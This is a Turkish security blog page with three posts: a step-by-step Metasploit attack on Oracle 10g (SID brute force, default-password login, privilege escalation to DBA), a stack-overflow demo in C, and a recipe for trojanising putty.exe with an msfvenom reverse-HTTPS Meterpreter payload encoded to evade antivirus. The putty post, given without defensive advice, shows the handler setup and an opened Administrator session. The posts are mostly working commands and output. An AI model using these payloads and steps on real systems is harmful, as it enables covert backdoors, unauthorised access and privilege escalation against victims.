Metasploit ile Oracle Veritabanlarına Yönelik Temel Sızma Testleri

<div style="text-align: justify;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7FenPNHlJ2j2UqbukaLUXnfzLzKpNys-XGkKJ2wVWYTS1u1MZQu38XpEwSx2ORUgjXdYUMuaoCfVXEyoUMu5szxnL_NVNUag9CNuwk1mzkwtSRPwumIV_cOm6UD_yCSe5qtKvrxrcJPxZ/s1600/msf_oracle.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="185" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7FenPNHlJ2j2UqbukaLUXnfzLzKpNys-XGkKJ2wVWYTS1u1MZQu38XpEwSx2ORUgjXdYUMuaoCfVXEyoUMu5szxnL_NVNUag9CNuwk1mzkwtSRPwumIV_cOm6UD_yCSe5qtKvrxrcJPxZ/s320/msf_oracle.jpg" width="320" /></a>Oracle veritabanı kurumsal bilgi işlem altyapılarında performans ve güvenilirliği nedeniyle sıklıkla tercih edilmektedir. Dolayısıyla üzerinde bulunması olası zafiyetlere karşı güvenlik testlerine tabi tutulması önerilmektedir. Bu not Oracle10g sürümü üzerinde Metasploit Framework kullanılarak adım adım temel bir sızma testinin nasıl gerçekleştirilebileceği anlatılacaktır.<br /><br /><a name="more"></a></div><div><h3>1. IP/Port ve versiyon Keşfi</h3><div style="text-align: justify;">İlk olarak sızma testlerinin ilk adımı olan keşif adımı ile IP/Port ve uygulama sürümü belirlenir. Bunun için Nmap aracından faydalanılabilir. Nmap aşağıdaki opsiyonları ile kullanıldığında hedef sunucu üzerindeki aktif portları ve bu portları dinleyen servislerin sürümlerini belirleyebilmektedir. </div></div><div><h4># nmap -sT -sV -n -Pn --top-ports 2000 hedef_IP</h4></div><div class="separator" style="clear: both; text-align: center;"></div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiELdzuHEZYWmYQOjxLy1gki6XocqnZk3vTBTll6-twxqjkjoCIGbdn6VJlFAoYCayjgBbUaBtxqQ9dWwFbirzVTtlS4GY7x1mKFDk_W9Mm6pr1taf_U5BjFaqk3cvY0O4m7ZpdqewHDqsS/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="177" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiELdzuHEZYWmYQOjxLy1gki6XocqnZk3vTBTll6-twxqjkjoCIGbdn6VJlFAoYCayjgBbUaBtxqQ9dWwFbirzVTtlS4GY7x1mKFDk_W9Mm6pr1taf_U5BjFaqk3cvY0O4m7ZpdqewHDqsS/s640/1.png" width="640" /></a><br /><div><br /></div><div><h3>2. SID Değerinin Belirlenmesi</h3><div style="text-align: justify;">Oracle veritabanının bulunduğu sistem üzerindeki SID değerlerinin belirlenmesi gerçekleştirilir. Bağlantı kurabilmek için gerekli olan SID parametresi kaba kuvvet (brute force) atağı ile elde edilebilmektedir. Bunun için Metasploit içerisindeki <b>sid_brute</b> modülü kullanılabilir.</div></div><div><div><div style="text-align: justify;">Öncelikle Metasploit konsolu aşağıdaki komutla açılır.</div></div><h4># msfconsole</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLuZtL3iBRHNkPGTYfT4JZU24ds6FmGTFr0rp_Oi8gp4KrG0q-xGxW6hYA8Z5SwJHIf9JsPlAmj8Q3GexFfbRkSnruNLJaZHnSoTFSrWLW8xJODZxaN5CHJgZ35NX4RCKkvMbc0mE_e04D/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLuZtL3iBRHNkPGTYfT4JZU24ds6FmGTFr0rp_Oi8gp4KrG0q-xGxW6hYA8Z5SwJHIf9JsPlAmj8Q3GexFfbRkSnruNLJaZHnSoTFSrWLW8xJODZxaN5CHJgZ35NX4RCKkvMbc0mE_e04D/s400/2.png" width="385" /></a></div><div><br /></div><div>Bahsedilen modülün kullanımı için aşağıdaki komut girilir.</div><h4>msf>use auxiliary/scanner/oracle/sid_brute</h4></div><div><div style="text-align: justify;">Modülün kullanım seçeneklerini görmek ve hakkında detaylı bilgi edinmek için <b>info </b>komutu kullanılabilir.</div></div><div class="separator" style="clear: both; text-align: justify;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZa2avjAdA4PBSEGXgg5KcaPiaAuSaB3R2pryPsUjrxe1I16YWvFVp4RmCdawO38PBgqKql44tdFp2uaVNOQOuPIwcB1NATiGfku99aiHut9JzUCFrqzghLiICfgWmMhwP7x-e0waLePH-/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="328" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZa2avjAdA4PBSEGXgg5KcaPiaAuSaB3R2pryPsUjrxe1I16YWvFVp4RmCdawO38PBgqKql44tdFp2uaVNOQOuPIwcB1NATiGfku99aiHut9JzUCFrqzghLiICfgWmMhwP7x-e0waLePH-/s640/3.png" width="640" /></a></div><div><br /></div><div><div style="text-align: justify;">Özelliklerden de görüldüğü üzere ayarlanması gereken bazı parametreler bulunmaktadır. Bunların başında hedef IP ve port bilgilerinin sırasıyla <b>RHOSTS</b> ve <b>RPORT </b>değişkenlerine atanması gerekmektedir. Varsayılan olarak görüldüğü üzere <b><i>/opt/metasploit/msf3/data/wordlists/sid.txt</i></b> sözlüğü kullanılmaktadır. Bunun içeriği değiştirilebileceği gibi varsa başka bir sözlük dosyası da kullanılabilir. Örnekte yapılan ayarlar şu şekildedir:</div></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg03aqtkx2gNIoRuwI-DRK3u17iYi6h3wty50uwKLsDu5r7PUaOcKo4rJ3xQZZ0RCAjpC_WRezPmYSAiso_Yx4Zip0h3Dv0gCEXdWeo9pHYu0z_b5ygBRThPHqH_9D1e39HLDOIRFS8bF_y/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="337" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg03aqtkx2gNIoRuwI-DRK3u17iYi6h3wty50uwKLsDu5r7PUaOcKo4rJ3xQZZ0RCAjpC_WRezPmYSAiso_Yx4Zip0h3Dv0gCEXdWeo9pHYu0z_b5ygBRThPHqH_9D1e39HLDOIRFS8bF_y/s400/4.png" width="400" /></a></div><div><div style="text-align: justify;">Uygun ayarlar gerçekleştirildikten sonra <b>run </b>komutu ile modül çalıştırılabilir. Modül çıktısı aşağıdaki gibi olmaktadır.</div></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTOVglzPeeYHNoR7xQs6xbUMWTP8c2ZyM0hQyiukfxWO81LqnBHIQwfy2d1Q63ukRuJqULVE3YvzSFyZAhysbu42z6SiDazOQ5h-e8S1xVlql0oUX4KTE3_NZlzrJ7ljC6bS0XIfdi0G0S/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="115" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTOVglzPeeYHNoR7xQs6xbUMWTP8c2ZyM0hQyiukfxWO81LqnBHIQwfy2d1Q63ukRuJqULVE3YvzSFyZAhysbu42z6SiDazOQ5h-e8S1xVlql0oUX4KTE3_NZlzrJ7ljC6bS0XIfdi0G0S/s400/5.png" width="400" /></a></div><div><br /></div><div><div style="text-align: justify;">Burada belirlenen SID değerlerinden <b>TSH1 </b>sonraki adımda kullanılacaktır.</div><blockquote class="tr_bq"><span style="color: #cc0000;">Özellikle, kurulum sırasında SID değeri varsayılan olarak bırakılmış veritabanlarında ciddi oranda başarılı olan bir keşif çalışması olan bu örnekte kullanılan sözlük ne kadar kuvvetliyse başarı oranı o derece yüksek olmaktadır. Dolayısıyla güvenlik açısından önerilen SID değerlerinin tahmini zor olacak şekilde değiştirilmesidir.</span></blockquote><div style="text-align: justify;"><h3>3. Varsayılan Hesapların Belirlenmesi</h3></div><div style="text-align: justify;">Bu aşamada veritabanı üzerindeki kullanıcılara yönelik kaba kuvvet saldırısı gerçekleştirilecektir. Bunun için yine Metasploit içerisinde mevcut olan modüllerden <b>auxiliary/admin/oracle/oracle_login</b> modülü kullanılabilir.Örnekte kullandığımız hedef sistemin IP adresi ve belirlenen SID değeri aşağıdaki şekilde girilebilir.</div><h4>msf > use auxiliary/admin/oracle/oracle_login<br />msf  auxiliary(oracle_login) > set RHOST 192.168.1.90<br />msf  auxiliary(oracle_login) > set SID TSH1</h4><div style="text-align: justify;">Parametreler belirlendikten sonra <b>info </b>komutu ile modülün son durumu aşağıdaki gibi olmaktadır.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2akebV5OdNouQNa3TgCb1NKOgcMSaDyDbK2MwOX5XxYTwW_mG27lPdr_kuufQey2EPw1EzItORClZpLHAncjsTguahvIDPLLgn-JTLrWcfsIKf5gFb0nH_w0TtvlLgykE5QT11D6ZQJJc/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2akebV5OdNouQNa3TgCb1NKOgcMSaDyDbK2MwOX5XxYTwW_mG27lPdr_kuufQey2EPw1EzItORClZpLHAncjsTguahvIDPLLgn-JTLrWcfsIKf5gFb0nH_w0TtvlLgykE5QT11D6ZQJJc/s1600/6.png" /></a></div><div style="text-align: justify;">Burada kullanılan parola dosyası <a href="http://www.petefinnigan.com/default/oracle_default_passwords.csv" target="_blank">bağlantıdan </a>da temin edilebilir. run komutu ile modül çalıştırıldığında çıktı aşağıdaki gibi olmaktadır.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyW9Ff-fl9otxP4XjPISv88CIsofWmt590-1ShttozzDSEuw0zBDmkStJTEnkIgfu4vcZFoxuRIc5wTdB5PBszMf7pY4AnThtd0FWHKDBXEBqMriuO1edSQuVSSPe9o3HfCNw09nmmOPKq/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyW9Ff-fl9otxP4XjPISv88CIsofWmt590-1ShttozzDSEuw0zBDmkStJTEnkIgfu4vcZFoxuRIc5wTdB5PBszMf7pY4AnThtd0FWHKDBXEBqMriuO1edSQuVSSPe9o3HfCNw09nmmOPKq/s1600/7.png" /></a></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Çıktıdan da görülebileceği üzere <b>dbsnmp/dbsnmp </b>ve <b>scott/tiger</b> kullanıcı adı&parola bilgileri ile erişim sağlanabileceği görülmektedir.</div><div style="text-align: justify;"><blockquote class="tr_bq"><span style="color: #cc0000;">Bu saldırı özellikle kurulum esnasında varsayılan olarak gelen hesapların açık bırakıldığı veritabanlarında ciddi oranda başarılı olabilmektedir. Kullanılan sözlük ne kadar kuvvetliyse başarı oranı o derece yüksek olmaktadır. Önlem olarak bu hesaplar kilitlenmeli ya da kaldırılmalıdır.</span></blockquote></div><div style="text-align: justify;"><h3>4. Açıklıktan Faydalanılarak Hak Yükseltme</h3>Bu maddedeki amaç erişim sağlanmış Oracle veritabanındaki açıklıklardan yararlanarak yetkisiz hak yükseltilip DBA olunabileceğini göstermektir. Bunun için Metasploit içerisindeki <b>auxiliary/sqli/oracle/dbms_export_extension</b> modülü kullanılabilir. Modül ve hakkındaki bilgiler aşağıdaki gibidir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAKEemZjTTNro9WUT05O95tZ5PMAgtV3aoSdHuHEpe8OfvvZQ1NARikDpZhon-mt_uaTRng6A21DHzHy2A92-NKjwO8wyyyR4MrfCbEzWVltGqPmm_kaKpMPlEGuaZNzOoeIPyCYO_RyAV/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAKEemZjTTNro9WUT05O95tZ5PMAgtV3aoSdHuHEpe8OfvvZQ1NARikDpZhon-mt_uaTRng6A21DHzHy2A92-NKjwO8wyyyR4MrfCbEzWVltGqPmm_kaKpMPlEGuaZNzOoeIPyCYO_RyAV/s1600/8.png" /></a></div><br />İlgili parametrelere uygun değerler girilir.<br /><h4>> set RHOST 192.168.1.90<br />> set SID TSH1<br />> set DBUSER SCOTT<br />> set DBPASS TIGER</h4><blockquote class="tr_bq"><span style="color: #674ea7;">Parametrelere girilen değerler küçük/büyük harf duyarlı olduğu için dikkat edilmesi gerekmektedir.</span></blockquote><div><b>run </b>komutu ile birlikte modül çalıştırılır. Çıktı aşağıdaki gibi olmaktadır.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq_fLnXI73DbnOoXdCE0utHvJLRga6YgzigdHAk3-dg7sVsqroEpvT0f6T4ickj7honrAm-nnYkl6WoCRAUdQt5TtuoJU_0AcW2aB1HQVohFM8ap84d7_mR9kZ-2hxU7OUs0ZNyY9rrALO/s1600/9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq_fLnXI73DbnOoXdCE0utHvJLRga6YgzigdHAk3-dg7sVsqroEpvT0f6T4ickj7honrAm-nnYkl6WoCRAUdQt5TtuoJU_0AcW2aB1HQVohFM8ap84d7_mR9kZ-2hxU7OUs0ZNyY9rrALO/s1600/9.png" /></a></div><blockquote class="tr_bq"><span style="color: #cc0000;">Bu adım sonucunda ele geçirilmiş bir kullanıcı adı&parola bilgisi ile yüksek haklara sahip bir kullanıcı oluşturulabildiği görülmüştür. Mümkün olduğu kadar varsayılan olarak gelen kullanıcılar silinmeli ya da kilitlenmelidir. Kullanılanlar var ise mutlaka parolaları tahmin edilemeyecek zorlukta olacak şekilde değiştirilmelidir.</span></blockquote><h3>5. Doğrulama</h3>Son olarak aşağıdaki komutlar ile  hakkı yükseltilen kullanıcının veritabanına bağlanması ve yetki seviyesinin gösterimi yapılabilir.<br /><h4># sqlplus scott/tiger@192.168.1.90/TSH1<br />SQL>  select * from user_role_privs;</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmhIZkj1YanyCNXsHTTM47XgVTYM5e50WilWXdyZ0UwEB9Ra78K-VJGr3b3HV8pHgG8KSTmdlL2F3Cr8VB5uAoMveVQQF6oLoXMIv3T1agCJvtH21HAE_hQUCBCd5DYIjQ7gcA25LAhUDZ/s1600/10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="369" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmhIZkj1YanyCNXsHTTM47XgVTYM5e50WilWXdyZ0UwEB9Ra78K-VJGr3b3HV8pHgG8KSTmdlL2F3Cr8VB5uAoMveVQQF6oLoXMIv3T1agCJvtH21HAE_hQUCBCd5DYIjQ7gcA25LAhUDZ/s640/10.png" width="640" /></a></div></div></div>

Metasploit ile Oracle Veritabanlarına Yönelik Temel Sızma Testleri

Oracle veritabanı kurumsal bilgi işlem altyapılarında performans ve güvenilirliği nedeniyle sıklıkla tercih edilmektedir. Dolayısıyla üzerin...

Read more »

Exploit Geliştirme - Program Akışını Değiştirme

<div class="separator" style="clear: both; text-align: justify;"><a href="http://4.bp.blogspot.com/-jkg42sZyMFk/UeLXqrbQ_DI/AAAAAAAAAY0/foa-dJTyjww/s1600/break.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-jkg42sZyMFk/UeLXqrbQ_DI/AAAAAAAAAY0/foa-dJTyjww/s320/break.png" /></a></div><div style="text-align: justify;"></div><div style="text-align: justify;">Bu yazıda 1996'da yılında Aleph1 tarafından yazılan <b><i>"smashing the stack for fun and profit"</i></b> başlıklı yazısında geçen örnek ele alınarak, program akışının nasıl değiştirilebileceğinden bahsedilecektir. Aleph1'in ilgili makalesine <a href="http://insecure.org/stf/smashstack.html">http://insecure.org/stf/smashstack.html</a> adresinden erişim sağlanabilir.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Exploit geliştirmenin ilk adımı olarak sayılan <b><i>"stack based overflow"</i></b> yöntemi için temel oluşturacak aşağıdaki örnek ile 'stack nasıl çalışır'ı anlamak daha da mümkün olacaktır. Buradaki amaç kısaca program akışının nasıl değiştirilebileceğini göstermek ve sonrasında yazılım akışının istenildiği gibi değiştirilmesini sağlamaktır</div><div style="text-align: justify;"><br /></div><a name="more"></a><div style="text-align: justify;"></div><h4 style="text-align: justify;"># include <stdio.h><br /><br />void deneme()<br />{<br />   char buf[6];<br />   int *a;<br />   a = buf + 14;<br />   (*a) += 12;<br />}<br /><br />int main (void)<br />{<br />   printf("1\n");<br />   deneme();<br />   printf("2\n");<br />   printf("3\n");<br />   return 0;<br />}<br /></h4><div style="text-align: justify;"><br />Kod <b><i>deneme.c </i></b>ismiyle kaydedilmiş ve ardından aşağıdaki derleme seçenekleri ile derlenmiştir.</div><div style="text-align: justify;"></div><h4 style="text-align: justify;"># gcc -g -o deneme deneme.c<br /></h4><div style="text-align: justify;"><b><i><br /></i></b><b><i>deneme </i></b>isimli fonksiyonun içeriğinin aşağıdaki gibi olduğu varsayıldığında</div><div style="text-align: justify;"></div><h4 style="text-align: justify;">void deneme()<br />{<br />   char buf[6];<br />   int *a;<br />}<br /></h4><div style="text-align: justify;"><br />kod derlenip çalıştırıldığında aşağıdaki çıktıyı verecektir.</div><div style="text-align: justify;"></div><h4 style="text-align: justify;">1<br />2<br />3<br /></h4><div style="text-align: justify;"><br />Ancak <b><i>deneme </i></b>isimli fonksiyonun içeriği aşağıdaki şekilde düzenlendiğinde ise;</div><div style="text-align: justify;"></div><h4 style="text-align: justify;">void deneme()<br />{<br />   char buf[6];<br />   int *a;<br />   a = buf + 14;<br />   (*a) += 12;<br />}<br /><br />1<br />3<br /></h4><div style="text-align: justify;"><br /></div><div style="text-align: justify;">programın çıktısı yukarıdaki şekilde olacaktır. Peki deneme isimli fonksiyonun içerisinde belirtilen</div><div style="text-align: justify;"></div><h4 style="text-align: justify;">a = buf + 14;<br />(*a) += 12;<br /></h4><div style="text-align: justify;"><br /></div><div style="text-align: justify;">satırlar ile ne sağlanmaktadır. <b>int *a</b> ile tanımlanması gerçekleştirilen <b>a</b> değişkeni ile önce <b>buf </b>karakter dizisinden 14 byte uzaklıktaki adrese konumlanmıştır. Ardından da bu adresin içeriği 12 byte ötelenerek fonksiyon sonlandırılmıştır. Bu şekilde fonksiyon akışının ekran çıktısında 1 2 3 olması gerekirken, 1 3 olarak tamamlanmış olmaktadır. Kod <b><i>gdb </i></b>ile disassemble edildiğinde aşağıdaki gibi bir görünüm alacaktır.</div><div style="text-align: justify;"></div><h4 style="text-align: justify;"># gdb -q deneme<br /><br />(gdb) list<br />5 char buf[6];<br />6 int *a;<br />7<br />8 a = buf + 14;<br />9 (*a) += 12;<br />10 }<br />11<br />12 int main ()<br />13 {<br />14 printf("1\n");<br />(gdb)<br /><br />15 deneme();<br />16 printf("2\n");<br />17 printf("3\n");<br />18<br />19 return 0;<br />20 }<br /><br />(gdb) disassemble main<br /><br />Dump of assembler code for function main:<br /><br />0x080483d2 <+0>: push ebp<br />0x080483d3 <+1>: mov ebp,esp<br />0x080483d5 <+3>: sub esp,0x4<br />0x080483d8 <+6>: mov DWORD PTR [esp],0x80484d4<br />0x080483df <+13>: call 0x80482f0 <puts@plt><br />0x080483e4 <+18>: call 0x80483b4 <deneme><br />0x080483e9 <+23>: mov DWORD PTR [esp],0x80484d6<br />0x080483f0 <+30>: call 0x80482f0 <puts@plt><br />0x080483f5 <+35>: mov DWORD PTR [esp],0x80484d8<br />0x080483fc <+42>: call 0x80482f0 <puts@plt><br />0x08048401 <+47>: mov eax,0x0<br />0x08048406 <+52>: leave<br />0x08048407 <+53>: ret<br /><br />End of assembler dump.<br /><br />(gdb)<br /><br /></h4><div style="text-align: justify;"><b>main+18</b> satırında deneme isimli fonksiyon çağrısının gerçekleştirildiği görülmektedir. <b><i>deneme </i></b>isimli fonksiyonun çağrılmasından hemen önceki satırda ise ekrana 1 çıktısını göstermek için yazılmış <b>printf("1\n")</b> çağrımı görülmektedir. Normal şartlar altında deneme isimli fonksiyonun ardından <b>main+30</b> satırında bulunan ve ekrana 2 çıktısını göstermek üzere kullanılacak <b>printf("2\n") </b>çağrım bilgisi gerçekleştirilecekken bunun yerine <b>main+42</b> satırında bulunan ve ekrana 3 çıktısını göstermek üzere kullanılacak <b>printf("3\n")</b> çağrım bilgisine geçiş sağlanmıştır.<br /><br /><b>a = buf + 14</b>; ifadesi ile, <b>a</b> değişkenin <b><i>eip register</i></b> değerinin adresine konuşlanması sağlanmaktadır. <b><i>deneme </i></b>isimli fonksiyon çağrımı gerçekleştirildiğinde <i>stack </i>görünümü kabaca aşağıdaki gibi olmaktadır. Derleyici tarafından hem güvenlik hem de optimizasyon amaçlı eklenen <i>padding </i>değerleri ve <i>buf </i>karakter dizisinin uzunluğu göz önüne alındığında,<b> a = buf + 14</b> ifadesi ile <b><i>eip register </i></b>değerinin adresine konuşlanmaktadır.</div><div style="text-align: justify;"></div><h4 style="text-align: justify;">buf ebp eip<br />[ ][ ][ ]<br /></h4><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Ardından kabaca bir hesap ile iki adres arasındaki mesafe 12 byte uzunluğunda olmaktadır. Yani <b>(*a) += 12; </b>ifadesi ile <b>printf("2\n")</b> ifadesi es geçilmiş yerine <b>printf("3\n")</b> ifadesi çalıştırılarak program akışı değiştirilmiştir.<br /><br />Kısaca burada <b><i>deneme </i></b>isimli fonksiyon içerisinden öncelikle<b><i> eip register</i></b> değerine erişim sağlanmış ve hemen ardından bu register değerinin içeriği değiştirilerek program akışı istenildiği gibi değiştirilmiştir.<br /><br />Bu yazıda <b><i>stack </i></b>nedir, nasıl çalışır ve herhangi bir fonksiyon çağrıldığında <b><i>stack </i></b>içerisinde neler olur sorularına değinilmeden kabaca program akışının değiştirilebileceği gösterilmiştir. Bu soruların cevaplarına ise daha sonraki yazılarda ayrıntılı olarak değinilecektir.</div>

Exploit Geliştirme - Program Akışını Değiştirme

Bu yazıda 1996'da yılında Aleph1 tarafından yazılan "smashing the stack for fun and profit" başlıklı yazısında geçen örnek el...

Read more »

Çalıştırılabilir Windows Dosyası içerisine Zararlı Kod Enjeksiyonu

<div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-0xpT8zGTN4U/UcFVz7lNVeI/AAAAAAAAANA/9-6p83DLP2g/s1600/malicious.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="http://1.bp.blogspot.com/-0xpT8zGTN4U/UcFVz7lNVeI/AAAAAAAAANA/9-6p83DLP2g/s200/malicious.jpg" width="200" /></a></div>Bu notta basit olarak çalıştırılabilir bir Windows dosyasına Metasploit ile üretilmiş zararlı kodun nasıl enjekte edildiğinden bahsedilecektir. Burada amaç normal bir exe dosyası kullanarak sisteme arka kapı oluşturmak ve antivirüs yazılımlarının tespitinden kaçınmaktır. Metasploit <b>msfvenom </b>aracı ile Putty binary dosyasına zararlı kod enjekte edilebilir.<br /><a name="more"></a></div><div style="text-align: justify;">Öncelikle exe dosyası temin edilir.</div><h4># wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe</h4><div style="text-align: justify;">Akabinde encode edilmiş payload bu dosya içerisine enjekte edilir. Burada <b>Reverse HTTPS Meterpreter</b> payload'u kullanılmış ve 10 iterasyon ile <b>x86/shikata_ga_nai encoder</b>'ı kullanılmıştır.</div><h4># msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 10 -k -x /tmp/putty.exe LHOST=192.168.4.101 LPORT=443 > xputty.exe</h4><div style="text-align: justify;"><blockquote class="tr_bq"><b>-x</b> seçeneği ile şablon exe olarak daha önceden indirilen putty belirtilmiş ve zararlı kod içerisine gömülmüştür.<br /><b>-k </b>seçeneği ile zararlı kod hedef makinede yeni bir thread olarak çalışabilmekte ve orijinal Putty fonksiyonları aynen korunmaktadır.</blockquote></div><div style="text-align: justify;">Saldırgan makine üzerinde handler başlatılarak kurban üzerinde zararlı exe'nin çalışıtırılması beklenir.</div><h4>(msf)> use exploit/multi/handler<br />msf exploit(handler) > set payload windows/meterpreter/reverse_https<br />PAYLOAD => windows/meterpreter/reverse_https<br />msf exploit(handler) > set lport 443<br />LPORT => 443<br />msf exploit(handler) > set lhost 192.168.4.101<br />LHOST => 192.168.4.101<br />msf exploit(handler) > exploit<br />[*] Started HTTPS reverse handler on https://192.168.4.101:443/<br />[*] Starting the payload handler...</h4><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxhzVKJ56pWkMySQEsK9mHj5nhERDSwr6rhiJxi93D-NxEwhRlgml0z_x6AVREMxvFW7__bRmqZWGF2a974HIZyY8OXadgYSD0Q20Gj-1rtge7SvEE5O89a8-TaiGM0ry-U2uZl9GuNyUL/s1600/putty-default.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="310" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxhzVKJ56pWkMySQEsK9mHj5nhERDSwr6rhiJxi93D-NxEwhRlgml0z_x6AVREMxvFW7__bRmqZWGF2a974HIZyY8OXadgYSD0Q20Gj-1rtge7SvEE5O89a8-TaiGM0ry-U2uZl9GuNyUL/s320/putty-default.png" width="320" /></a></div>Kurban tarafında exe çalıştırıldığında her ne kadar fonksiyonellik olarak fark gözükmese de arka planda saldırgan makineye bağlantı kurulmakta ve sistem ele geçirilmektedir.<br /><h4>[*] Meterpreter session 1 opened (192.168.4.101:443 -> 192.168.1.11:2710) at 2013-07-01 13:01:00 +0100<br />meterpreter > pwd<br />C:\<br />meterpreter > getuid<br />Server username: AG\Administrator</h4></div>

Çalıştırılabilir Windows Dosyası içerisine Zararlı Kod Enjeksiyonu

Bu notta basit olarak çalıştırılabilir bir Windows dosyasına Metasploit ile üretilmiş zararlı kodun nasıl enjekte edildiğinden bahsedilecekt...

Read more »